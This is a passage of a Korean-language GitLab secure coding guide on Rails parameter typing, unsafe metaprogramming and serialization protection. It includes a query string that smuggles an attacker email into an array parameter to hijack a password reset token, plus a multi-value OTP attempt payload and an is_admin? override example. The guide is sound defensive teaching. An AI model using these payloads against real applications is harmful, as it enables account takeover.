.to_s를 호출하거나value.kind_of?(String)으로 클래스를 확인하여 코드를 강력하게 타이핑하세요
요청 파라미터 타이핑#
이 보안 코드 가이드라인은 StrongParams RuboCop에 의해 적용됩니다.
Rails 컨트롤러에서 ActionController::StrongParameters를 사용해야 합니다. 이를 통해 요청에서 기대하는 입력의 키와 유형을 명시적으로 정의합니다. 모델에서 Mass Assignment를 피하는 데 중요합니다. 또한 Service와 같은 GitLab 코드베이스의 다른 영역으로 파라미터가 전달될 때 사용해야 합니다.
params[:key]를 사용하면 코드베이스의 한 부분이 String과 같은 유형을 기대하지만 Array가 전달되고 오류 없이 안전하지 않게 처리할 때 취약점으로 이어질 수 있습니다.
이것은 Rails 컨트롤러에만 적용됩니다. API와 GraphQL 엔드포인트는 강력한 타이핑을 적용하며 Go는 정적으로 타이핑됩니다.
예시#
class MyMailer
def reset(user, email)
mail(to: email, subject: 'Password reset email', body: user.reset_token)
end
end
class MyController
# Bad - email could be an array of values
# ?user[email]=VALUE will find a single user and email a single user
# ?user[email][]=victim@example.com&user[email][]=attacker@example.com will email the victim's token to the victim and user
def dangerously_reset_password
user = User.find_by(email: params[:user][:email])
MyMailer.reset(user, params[:user][:email])
end
# Good - we use StrongParams which doesn't permit the Array type
# ?user[email]=VALUE will find a single user and email a single user
# ?user[email][]=victim@example.com&user[email][]=attacker@example.com will fail because there is no permitted :email key
def safely_reset_password
user = User.find_by(email: email_params[:email])
MyMailer.reset(user, email_params[:email])
end
# This returns a new ActionController::Parameters that includes only the permitted attributes
def email_params
params.require(:user).permit(:email)
end
end
이 종류의 문제는 이메일에만 적용되는 것이 아닙니다. 다른 예시:
- 단일 요청에서 여러 일회용 비밀번호 시도 허용:
?otp_attempt[]=000000&otp_attempt[]=000001&otp_attempt[]=000002... - 이후 Service 클래스에서
.merged되는is_admin과 같은 예상치 못한 파라미터 전달
관련 항목#
- 취약점 CVE-2023-7028를 일으킨 이 문제의 사례에 대한 연습 동영상 시청. 동영상은 발생한 일, 작동 방식, 미래를 위해 알아야 할 사항을 다룹니다.
- ActionController::StrongParameters 및 ActionController::Parameters에 대한 Rails 문서
메타프로그래밍으로 누락된 메서드를 정의할 때의 가이드라인#
메타프로그래밍은 코드를 작성하고 배포할 때가 아니라 런타임에 메서드를 정의하는 방법입니다. 강력한 도구이지만 신뢰할 수 없는 행위자(예: 사용자)가 자신의 임의 메서드를 정의할 수 있도록 허용하면 위험할 수 있습니다. 예를 들어 공격자가 항상 true를 반환하도록 접근 제어 메서드를 덮어쓸 수 있다고 상상해보세요! 접근 제어 우회, 정보 노출, 임의 파일 읽기, 원격 코드 실행과 같은 많은 취약점 클래스로 이어질 수 있습니다.
주의해야 할 주요 메서드는 method_missing, define_method, delegate 및 유사한 메서드입니다.
안전하지 않은 메타프로그래밍 예시#
이 예시는 HackerOne 버그 바운티 프로그램을 통해 @jobert가 제출한 예시를 수정한 것입니다. 기여해 주셔서 감사합니다!
Ruby 2.5.1 이전에는 delegate 또는 method_missing 메서드를 사용하여 위임자를 구현할 수 있었습니다. 예를 들면:
class User
def initialize(attributes)
@options = OpenStruct.new(attributes)
end
def is_admin?
name.eql?("Sid") # Note - never do this!
end
def method_missing(method, *args)
@options.send(method, *args)
end
end
User 인스턴스에서 존재하지 않는 메서드가 호출되면 @options 인스턴스 변수에 전달됩니다.
User.new({name: "Jeeves"}).is_admin?
# => false
User.new(name: "Sid").is_admin?
# => true
User.new(name: "Jeeves", "is_admin?" => true).is_admin?
# => false
is_admin? 메서드는 클래스에 이미 정의되어 있으므로 초기화자에 is_admin?을 전달해도 동작이 재정의되지 않습니다.
이 클래스는 Forwardable 메서드와 def_delegators를 사용하도록 리팩터링할 수 있습니다:
class User
extend Forwardable
def initialize(attributes)
@options = OpenStruct.new(attributes)
self.class.instance_eval do
def_delegators :@options, *attributes.keys
end
end
def is_admin?
name.eql?("Sid") # Note - never do this!
end
end
이 예시가 첫 번째 코드 예시와 동일한 동작을 하는 것처럼 보일 수 있습니다. 그러나 한 가지 중요한 차이점이 있습니다: 클래스가 로드된 후 위임자가 메타프로그래밍되므로 기존 메서드를 덮어쓸 수 있습니다:
User.new({name: "Jeeves"}).is_admin?
# => false
User.new(name: "Sid").is_admin?
# => true
User.new(name: "Jeeves", "is_admin?" => true).is_admin?
# => true
# ^------------------ The method is overwritten! Sneaky Jeeves!
위 예시에서 초기화자에 전달할 때 is_admin? 메서드가 덮어쓰입니다.
모범 사례#
- 메서드를 정의하는 메타프로그래밍 메서드에 사용자 제공 세부 정보를 절대 전달하지 마세요.
- 반드시 해야 한다면 값을 올바르게 정제했는지 매우 확신해야 합니다. 허용 값 목록을 만들고 그에 대해 사용자 입력을 검증하는 것을 고려하세요.
- 메타프로그래밍을 사용하는 클래스를 확장할 때 실수로 메서드 정의 안전 검사를 재정의하지 않도록 주의하세요.
직렬화#
Active Record 모델의 직렬화는 보호되지 않은 경우 민감한 속성을 노출할 수 있습니다.
prevent_from_serialization 메서드를 사용하면 객체가 serializable_hash로 직렬화될 때 속성을 보호합니다.
속성이 prevent_from_serialization으로 보호되면 serializable_hash, to_json, as_json에 포함되지 않습니다.
직렬화에 대한 추가 지침:
- 직렬화기 사용이 중요한 이유.
- API에는 항상 Grape 엔티티를 사용하세요.
ActiveRecord 컬럼을 serialize하려면:
app/serializers를 사용할 수 있습니다.to_json / as_json을 사용할 수 없습니다.serialize :some_colum을 사용할 수 없습니다.
직렬화 예시#
다음은 TokenAuthenticatable 클래스에 사용된 예시입니다:
prevent_from_serialization(*strategy.token_fields) if respond_to?(:prevent_from_serialization)
